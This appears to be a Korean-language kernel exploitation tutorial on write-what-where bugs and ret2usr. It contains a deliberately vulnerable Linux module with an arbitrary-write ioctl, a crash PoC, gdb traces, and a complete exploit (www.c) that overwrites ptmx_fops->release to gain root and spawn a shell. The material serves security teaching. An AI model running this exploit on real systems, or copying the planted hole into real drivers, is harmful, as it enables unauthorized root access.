Excuse the ads! We need some help to keep our site up.

List

Write-what-where(Arbitrary Memory Overwrite) (fear.ret2usr)

Write-what-where(Arbitrary Memory Overwrite)

  • Write-what-where이란 공격자가 버퍼 오버 플로우를 이용해 임의의 위치에 임의의 값을 쓸 수있는 모든 조건들입니다.
    • CTF에서 해당 취약성의 문제들이 많이 출제 됩니다.

Return-to-user (ret2usr)

Example

Source code of module

  • 해당 코드는 04.Creating a kernel module to privilege escalation 에서 사용한 코드에 다음 코드를 추가하였습니다.
  • 추가된 코드는 다음과 같습니다.
    • chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
    • 해당 분기문에서 chardev_ioctl() 함수의 세번째 인자값(arg)을 ioctl_www_arg 구조체로 형변환하여 para 변수에 값을 저장합니다.
    • para→ptr 주소 영역에 para→value의 값을 저장합니다.

      • 해당 코드로 인하여 공격자가 임의의 영역에 임이의 값을 저장할 수 있게됩니다.
chardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
    
#include "chardev.h"
MODULE_LICENSE("Dual BSD/GPL");
    
#define DRIVER_NAME "chardev"
        
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
   
static int     chardev_open(struct inode *, struct file *);
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
   
struct file_operations s_chardev_fops = {
    .open    = chardev_open,
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .unlocked_ioctl = chardev_ioctl,
};
   
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    int minor = 0;
    dev_t dev;
    
    printk("The chardev_init() function has been called.");
        
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
    
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &s_chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
    
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
    
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
    
    device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
    return 0;
}
    
static void chardev_exit(void)
{
    int minor = 0;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
        
    printk("The chardev_exit() function has been called.");
   
    device_destroy(chardev_class, MKDEV(chardev_major, minor));
    
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
   
static int chardev_open(struct inode *inode, struct file *file)
{
    printk("The chardev_open() function has been called.");
    return 0;
}
    
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_close() function has been called.");
    return 0;
}
    
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_write() function has been called.");
    return count;
}
    
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_read() function has been called.");
    return count;
}
    
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    struct ioctl_www_arg *para;
    printk("The chardev_ioctl() function has been called.");
    
    switch (cmd) {
        case SET_DATA:
            printk("SET_DATA\n");
            if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
                return -EFAULT;
            }
        printk("info.size : %ld, info.buf : %s",info.size, info.buf);
            break;
        case GET_DATA:
            printk("GET_DATA\n");
            if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
                return -EFAULT;
            }
            break;
        case GIVE_ME_ROOT:
            printk("GIVE_ME_ROOT\n");
            commit_creds(prepare_kernel_cred(NULL));
            return 0;
        case IOCTL_WWW:
            para = (struct ioctl_www_arg *)arg;
            *(para->ptr) = para->value;
            return 0;
         
        default:
            printk(KERN_WARNING "unsupported command %d\n", cmd);
    
        return -EFAULT;
    }
    return 0;
}
   
module_init(chardev_init);
module_exit(chardev_exit);
chardev.h
#ifndef CHAR_DEV_H_
#define CHAR_DEV_H_
#include <linux/ioctl.h>
   
struct ioctl_info{
       unsigned long size;
       char buf[128];
};

struct ioctl_www_arg {
    unsigned long *ptr;
    unsigned long value;
};

#define             IOCTL_MAGIC         'G'
#define             SET_DATA            _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
#define             GET_DATA            _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
#define             GIVE_ME_ROOT        _IO(IOCTL_MAGIC, 0)
#define             IOCTL_WWW           _IOR(IOCTL_MAGIC, 0, struct ioctl_aaw_arg *)
#endif
Makefile
obj-m = chardev.o
   
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
   
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
  • 다음과 같이 취약성이 존재하는 모듈을 등록합니다.
Register a module
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$

Proof of Concept

PoC code

  • 취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.

    • "/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.

    • 해당 매크로에 전달된 인자 값은 다음과 같습니다.
      • arg.ptr = 0x4141414141414141
      • arg.value = 0x4242424242424242
    • 0x4141414141414141 영역에 0x4242424242424242 값을 덮어서 쓸 수 있는지 확인하려고 합니다.
test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"

int main()
{
    int fd;
    int ret_val;
    unsigned long *ptmx_fops;
    struct ioctl_www_arg arg;

    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        exit(1);
    }

    arg.ptr = 0x4141414141414141;
    arg.value = 0x4242424242424242;

    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        exit(1);
    }

    close(fd);
}
  • 다음과 같이 chardev_ioctl() 함수의 주소를 확인합니다.
    • chardev_ioctl() : 0xffffffffc01c40a0
Address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict = 0
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep chardev
ffffffffc01c4000 t chardev_release	[chardev]
ffffffffc01c4020 t chardev_open	[chardev]
ffffffffc01c4040 t chardev_write	[chardev]
ffffffffc01c4070 t chardev_read	[chardev]
ffffffffc01c40a0 t chardev_ioctl	[chardev]
ffffffffc01c6480 b info	[chardev]
ffffffffc01c41c0 t chardev_init	[chardev]
ffffffffc01c6520 b chardev_cdev	[chardev]
ffffffffc01c6588 b chardev_major	[chardev]
ffffffffc01c6480 b __key.25755	[chardev]
ffffffffc01c6508 b chardev_class	[chardev]
ffffffffc01c4300 t chardev_exit	[chardev]
ffffffffc01c6100 d __this_module	[chardev]
ffffffffc01c4300 t cleanup_module	[chardev]
ffffffffc01c41c0 t init_module	[chardev]
ffffffffc01c6000 d s_chardev_fops	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ 

Debug

  • 다음과 같이 chardev_ioctl() 함수의 시작 주소에 Breakpoint를 설정합니다.
Set break point - chardev_ioctl
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory.
(gdb) b *0xffffffffc01c40a0
Breakpoint 1 at 0xffffffffc01c40a0
(gdb) c
Continuing.
  • 다음과 같이 chardev_ioctl() 함수의 코드를 확인할 수 있습니다.

    • IOCTL_WWW 매크로의 값을 확인하기 위해 0xffffffffc01e10bf 영역에 Breakpoint를 설정합니다.

      • IOCTL_WWW 매크로의 값은 0x80084700 입니다.

    • 해당 값을 비교하는 코드는 0xffffffffc01e10cd 영역에 존재합니다.

      • 전달된 매크로의 값이 0x80084700와 같을 경우 0xffffffffc01e1112 영역으로 이동합니다.

Debugging the chardev_ioctl() function
Breakpoint 1, 0xffffffffc01e10a0 in ?? ()
(gdb) x/40i $rip
=> 0xffffffffc01e10a0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01e10a5:	push   rbp
   0xffffffffc01e10a6:	xor    eax,eax
   0xffffffffc01e10a8:	mov    rdi,0xffffffffc01e20e8
   0xffffffffc01e10af:	mov    rbp,rsp
   0xffffffffc01e10b2:	push   r12
   0xffffffffc01e10b4:	mov    r12,rdx
   0xffffffffc01e10b7:	push   rbx
   0xffffffffc01e10b8:	mov    ebx,esi
   0xffffffffc01e10ba:	call   0xffffffff81180972 <printk>
   0xffffffffc01e10bf:	cmp    ebx,0x40884702
   0xffffffffc01e10c5:	je     0xffffffffc01e116d
   0xffffffffc01e10cb:	jbe    0xffffffffc01e1125
   0xffffffffc01e10cd:	cmp    ebx,0x80084700
   0xffffffffc01e10d3:	je     0xffffffffc01e1112
   0xffffffffc01e10d5:	cmp    ebx,0x80884703
   0xffffffffc01e10db:	jne    0xffffffffc01e1151
   0xffffffffc01e10dd:	mov    rdi,0xffffffffc01e219f
   0xffffffffc01e10e4:	xor    eax,eax
   0xffffffffc01e10e6:	call   0xffffffff81180972 <printk>
   0xffffffffc01e10eb:	mov    edx,0x88
   0xffffffffc01e10f0:	mov    rsi,0xffffffffc01e3480
   0xffffffffc01e10f7:	mov    rdi,r12
   0xffffffffc01e10fa:	call   0xffffffff813e09e0 <_copy_to_user>
   0xffffffffc01e10ff:	cmp    rax,0x1
   0xffffffffc01e1103:	sbb    rax,rax
   0xffffffffc01e1106:	not    rax
   0xffffffffc01e1109:	and    rax,0xfffffffffffffff2
   0xffffffffc01e110d:	pop    rbx
   0xffffffffc01e110e:	pop    r12
   0xffffffffc01e1110:	pop    rbp
   0xffffffffc01e1111:	ret    
   0xffffffffc01e1112:	mov    rax,QWORD PTR [r12]
   0xffffffffc01e1116:	mov    rdx,QWORD PTR [r12+0x8]
   0xffffffffc01e111b:	mov    QWORD PTR [rax],rdx
   0xffffffffc01e111e:	xor    eax,eax
   0xffffffffc01e1120:	pop    rbx
   0xffffffffc01e1121:	pop    r12
   0xffffffffc01e1123:	pop    rbp
   0xffffffffc01e1124:	ret    
(gdb) b *0xffffffffc01e10bf
Breakpoint 2 at 0xffffffffc01e10bf
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01e10bf in ?? ()
(gdb) i r ebx
ebx            0x80084700          -2146941184
(gdb) b *0xffffffffc01e10cd
Breakpoint 3 at 0xffffffffc01e10cd
(gdb) c
Continuing.

Breakpoint 3, 0xffffffffc01e10cd in ?? ()
(gdb) i r ebx
ebx            0x80084700          -2146941184
(gdb) x/2i $rip
=> 0xffffffffc01e10cd:	cmp    ebx,0x80084700
   0xffffffffc01e10d3:	je     0xffffffffc01e1112
(gdb)
  • 다음 코드는 IOCTL_WWW 매크로의 코드입니다.
    • R12, R12+0x8 영역에 arg.ptr(0x4141414141414141), arg.value(0x4242424242424242) 값이 저장되어 있습니다.
    • 해당 값들은 다음과 같이 각 레지스터에 저장됩니다.
      • RAX 레지스터 : arg.ptr(0x4141414141414141)
      • RDX 레지스터 : arg.value(0x4242424242424242)
    • 해당 값들은 "mov QWORD PTR [rax],rdx" 코드에 의해 0x4141414141414141 영역에 0x4242424242424242 값을 저장 합니다.
    • 물론 해당 영역은 사용할 수 없는 공간이기 때문에 general_protection() 함수가 호출됩니다.
Debugging the IOCTL_WWW
(gdb) si
0xffffffffc01e10d3 in ?? ()
(gdb) si
0xffffffffc01e1112 in ?? ()
(gdb) x/8i $rip
=> 0xffffffffc01e1112:	mov    rax,QWORD PTR [r12]
   0xffffffffc01e1116:	mov    rdx,QWORD PTR [r12+0x8]
   0xffffffffc01e111b:	mov    QWORD PTR [rax],rdx
   0xffffffffc01e111e:	xor    eax,eax
   0xffffffffc01e1120:	pop    rbx
   0xffffffffc01e1121:	pop    r12
   0xffffffffc01e1123:	pop    rbp
   0xffffffffc01e1124:	ret    
(gdb) i r r12
r12            0x7ffd67d79360      140726345634656
(gdb) x/2gx 0x7ffd67d79360
0x7ffd67d79360:	0x4141414141414141	0x4242424242424242
(gdb) b *0xffffffffc01e111b
Breakpoint 4 at 0xffffffffc01e111b
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01e111b in ?? ()
(gdb) i r rax
rax            0x4141414141414141  4702111234474983745
(gdb) i r rdx
rdx            0x4242424242424242  4774451407313060418
(gdb) si
0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981
981	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory.
(gdb)

Area to overwrite

  • 앞에서 취약성을 이용하여 공격자가 원하는 영역에 임의의 값을 저장할 수 있다는 것을 확인하였습니다.
    • 공격자는 해당 취약성을 이용하여 권한상승을 실행 할 수 있는 대상을 찾아야 합니다.
  • 다음과 같이 모든 사용자가 읽고 쓸수 있는 디바이스 파일을 찾을 수 있습니다.
Finds device files that all users can read and write
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ find /dev/ -type c -perm -6 2> /dev/null
/dev/chardev0
/dev/net/tun
/dev/ptmx
/dev/fuse
/dev/tty
/dev/urandom
/dev/random
/dev/full
/dev/zero
/dev/null
lazenca0x0@ubuntu:~/Kernel/Exploit/www$
  • 해당 디바이스 파일들 중에서 struct file_operations를 사용한 변수가 있는지 확인이 필요합니다.
    • 리눅스에서는 struct file_operations 사용할 경우 다음과 같은 형태로 변수명을 작성합니다.
      • "디바이스명_fops"
  • 다음과 같은 방법으로 많은 file_operations 구조체 변수를 확인 할 수 있습니다.
    • 출력된 내용중 중요한 것은 2번째 필드이며, 심볼의 유형에 대한 정보입니다.
      • 'R','r' : 읽기 전용 데이터 섹션을 사용
      • 'B','b' : 초기화되지 않은 데이터 섹션(BSS로 알려져 있음)을 사용
  • 즉, 읽고 쓰기가 가능한 file_operations 구조체 변수는 ptmx_fops 뿐입니다.

Check the kernel symbol information.
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tun_fops
ffffffff818a74a0 r tun_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops
ffffffff81fe3440 b ptmx_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep fuse_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tty_fops
ffffffff81870dc0 r hung_up_tty_fops
ffffffff81870f80 r tty_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep urandom_fops
ffffffff81875c60 R urandom_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep random_fops
ffffffff81875c60 R urandom_fops
ffffffff81875d40 R random_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep full_fops
ffffffff81875780 r full_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep zero_fops
ffffffff81875860 r zero_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep null_fops
ffffffff81875a20 r null_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$

nm(1) - Linux man page

ptmx

  • "/dev/ptmx"는 가상 터미널 마스터 및 슬레이브를 생성하는 드라이버 입니다.
    • 가상 터미널을 할당 받기 위해서 프로세서는 "/dev/ptmx" 파일을 오픈합니다.
    • 프로세서에게 가상 터미널의 숫자가 이용 가능하게 되며, "/dev/pts/" 디렉토리에 있는 가상 터미널 슬레이브가 프로세서에 이용 가능하게 됩니다. 
  • TTY (Tele Type Writer) : 콘솔 및 터미널 환경
  • PTY (Pseudo-Terminal) : 가상 터미널 환경
  • PTS (Pseudo-Terminal Slave) : 원격 터미널 환경
  • ptmx 드라이버에서 사용하는 ptmx_fops 변수는 const 형으로 선언되지 않았기 때문에 Read,Write가 가능하게 됩니다.
    • 즉, Write-what-where 취약성을 이용하여 ptmx_fops 변수의 값을 변경할 수 있습니다.
/linux/v4.4/source/drivers/tty/pty.c#L807
static struct file_operations ptmx_fops;

static void __init unix98_pty_init(void)
{
	ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
			TTY_DRIVER_RESET_TERMIOS |
			TTY_DRIVER_REAL_RAW |
			TTY_DRIVER_DYNAMIC_DEV |
			TTY_DRIVER_DEVPTS_MEM |
			TTY_DRIVER_DYNAMIC_ALLOC);
	if (IS_ERR(ptm_driver))
		panic("Couldn't allocate Unix98 ptm driver");
	pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
			TTY_DRIVER_RESET_TERMIOS |
			TTY_DRIVER_REAL_RAW |
			TTY_DRIVER_DYNAMIC_DEV |
			TTY_DRIVER_DEVPTS_MEM |
			TTY_DRIVER_DYNAMIC_ALLOC);
	if (IS_ERR(pts_driver))
		panic("Couldn't allocate Unix98 pts driver");

	ptm_driver->driver_name = "pty_master";
	ptm_driver->name = "ptm";
	ptm_driver->major = UNIX98_PTY_MASTER_MAJOR;
	ptm_driver->minor_start = 0;
	ptm_driver->type = TTY_DRIVER_TYPE_PTY;
	ptm_driver->subtype = PTY_TYPE_MASTER;
	ptm_driver->init_termios = tty_std_termios;
	ptm_driver->init_termios.c_iflag = 0;
	ptm_driver->init_termios.c_oflag = 0;
	ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
	ptm_driver->init_termios.c_lflag = 0;
	ptm_driver->init_termios.c_ispeed = 38400;
	ptm_driver->init_termios.c_ospeed = 38400;
	ptm_driver->other = pts_driver;
	tty_set_operations(ptm_driver, &ptm_unix98_ops);

	pts_driver->driver_name = "pty_slave";
	pts_driver->name = "pts";
	pts_driver->major = UNIX98_PTY_SLAVE_MAJOR;
	pts_driver->minor_start = 0;
	pts_driver->type = TTY_DRIVER_TYPE_PTY;
	pts_driver->subtype = PTY_TYPE_SLAVE;
	pts_driver->init_termios = tty_std_termios;
	pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
	pts_driver->init_termios.c_ispeed = 38400;
	pts_driver->init_termios.c_ospeed = 38400;
	pts_driver->other = ptm_driver;
	tty_set_operations(pts_driver, &pty_unix98_ops);

	if (tty_register_driver(ptm_driver))
		panic("Couldn't register Unix98 ptm driver");
	if (tty_register_driver(pts_driver))
		panic("Couldn't register Unix98 pts driver");

	/* Now create the /dev/ptmx special device */
	tty_default_fops(&ptmx_fops);
	ptmx_fops.open = ptmx_open;

	cdev_init(&ptmx_cdev, &ptmx_fops);
	if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||
	    register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0)
		panic("Couldn't register /dev/ptmx driver");
	device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx");
}
  • 다른 file_operations 구조체 변수는 const 형으로 선언되어 있습니다.
static const struct file_operations tun_fops = {
	.owner	= THIS_MODULE,
	.llseek = no_llseek,
...
static const struct file_operations tty_fops = {
	.llseek		= no_llseek,
	.read		= tty_read,
...
const struct file_operations urandom_fops = {
	.read  = urandom_read,
	.write = random_write,
...

struct file_operations

  • 모듈은 등록될 때 디바이스 번호를 등록하고 이와 함께 file_operations 라는 구조체를 커널에 알려줍니다.
    • 모든 디바이스 드라이버는 사용자가 file_operations를 사용해 등록해준 표준화되어 있는 인터페이스를 사용해 입/출력 등의 작업을 처리하게된다. 
    • 유닉스에서는 디바이스,네트워크 모두 하나의 파일 처럼 동작하도록 되어 있는데 이에 따른 함수들이 등록되어 있습니다.
      • 예를 들어 디바이스로부터 읽기 동작을 원한다면 file_operations에 등록된 read 함수를 사용해 읽기를 한다.
    • file_operations는 모두 사용할 필요는 없으며, 필요하거나 지원되야하는 것을 추가하면 됩니다.
  • 이러한 file_operations의 역할을 악용하여 권한상승을 할 수 있습니다.
    • 이장에서는 드라이버 파일을 열때 호출되는 file_operations의 release 영역을 이용하여 권한상승을 시도하겠습니다.
  • release 영역을 이용하기 위해 해당 변수가 file_operations 구조체의 시작 주소로 부터 얼마나 떨어져 있는지 알아야 합니다.
    • release 변수는 file_operations 구조체 내에서 14번째에 선언되어 있습니다.
    • 해당 변수 앞에 선언된 변수들은 모두 포인터 변수이기 때문에 사용하는 공간의 크기는 8byte입니다.
    • 즉, ptmx_fops→release의 offset은 104(13 * 8)가 됩니다.
/linux/v4.4/source/include/linux/fs.h#L1600
struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
	ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
	int (*iterate) (struct file *, struct dir_context *);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *, fl_owner_t id);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, loff_t, loff_t, int datasync);
	int (*aio_fsync) (struct kiocb *, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (struct file *, int, struct file_lock *);
	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
	int (*setlease)(struct file *, long, struct file_lock **, void **);
	long (*fallocate)(struct file *file, int mode, loff_t offset,
			  loff_t len);
	void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
	unsigned (*mmap_capabilities)(struct file *);
#endif
};

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  • 권한상승을 위한 ret2usr 코드를 구현합니다.
    • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
    • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
  • 구현된 ret2usr 코드의 시작 주소를 ptmx_fops→release 영역에 덮어씁니다.
  • system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
  • 공격을 위해 알아야 할 정보는 다음과 같습니다.
    • prepare_kernel_cred(), commit_creds() 함수의 주소를 찾는 방법에 대해서는 Exploit code를 보면 충분히 이해할 수 있을 거라 생각되기 때문에 추가 설명하지 않겠습니다.
  • prepare_kernel_cred() 함수의 주소
  • commit_creds() 함수의 주소
  • ptmx_fops→release 영역 주소

Addresses in the "ptmx_fops→release" area

  • 다음과 같이 "/proc/kallsyms" 파일을 이용하여 ptmx_fops 구조체의 시작 주소를 확인할 수 있습니다.
Find the address of "ptmx_fops".
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops
ffffffff81fe3440 b ptmx_fops
lazenca0x0@ubuntu:~/Kernel/Exploit/www$
  • 다음과 같이 연결된 커널 디버거에서 ptmx_fops 구조체를 확인할 수 있습니다.
    • ptmx_fops→release 영역의 주소는 0xffffffff81fe34a8이며, ptmx_fops 구조체의 시작 주소로 부터 104 byte 떨어져 있습니다.
struct file_operations ptmx_fops
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
(gdb) p *(struct file_operations*) 0xffffffff81fe3440
$1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff811fcd60 <no_llseek>, read = 0xffffffff814c5190 <tty_read>, write = 0xffffffff814c48a0 <tty_write>, 
  read_iter = 0x0 <irq_stack_union>, write_iter = 0x0 <irq_stack_union>, iterate = 0x0 <irq_stack_union>, poll = 0xffffffff814c5340 <tty_poll>, 
  unlocked_ioctl = 0xffffffff814c5e40 <tty_ioctl>, compat_ioctl = 0xffffffff814c5280 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>, open = 0xffffffff814cf860 <ptmx_open>, 
  flush = 0x0 <irq_stack_union>, release = 0xffffffff814c55c0 <tty_release>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, 
  fasync = 0xffffffff814c5140 <tty_fasync>, lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>, 
  check_flags = 0x0 <irq_stack_union>, flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>, 
  fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>}
(gdb) p (*(struct file_operations*) 0xffffffff81fe3440).release
$2 = (int (*)(struct inode *, struct file *)) 0xffffffff814c55c0 <tty_release>
(gdb) p &(*(struct file_operations*) 0xffffffff81fe3440).release
$3 = (int (**)(struct inode *, struct file *)) 0xffffffff81fe34a8 <ptmx_fops+104>
(gdb) p/d 0xffffffff81fe34a8 - 0xffffffff81fe3440
$4 = 104
(gdb) 

ret2usr

  • Write-what-where 취약성을 이용하여 "ptmx_fops→release" 영역을 ret2usr 함수의 시작주소로 덮어쓸 경우 레지스터의 값의 백업, 복원 작업이 필요 없습니다.
    • 해당 취약성을 이용하여 return address를 덮어쓰는 것이 아니기 때문입니다.
ret2usr
void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}

Exploit code

www.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"
 
#define DEVICE_FILE_NAME "/dev/chardev0"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;
 
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
 
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
	    addr = NULL;
	}
    }
    fclose(fp);
    return addr;
}
 
void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}
 
int main()
{
    int fd;
    int ret_val;
    void *ptmx_fops;
    struct ioctl_www_arg arg;
 
    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("commit_creds = %p\n", commit_creds);

  
    //Find the address of "static struct file_operations ptmx_fops"
    ptmx_fops = kallsym_getaddr("ptmx_fops");
    printf("ptmx_fops = %p\n", ptmx_fops);
    ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
 
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        return 0;
    }

    //Overwrite the "ptmx_fops → release" area 
    arg.ptr = ptmx_fops_release;
    arg.value = (unsigned long)get_root;
 
    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        return 0;
    }
 
    close(fd);
 
    //open /dev/ptmx and call ptmx_fops->release() via close()
    fd = open("/dev/ptmx", 0);
    close(fd);
 
    printf("getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ ./www
[+] prepare_kernel_cred = 0xffffffff8109da40
[+] commit_creds = 0xffffffff8109d760
[+] ptmx_fops = 0xffffffff81fe3440
[+] getuid() = 0
# id
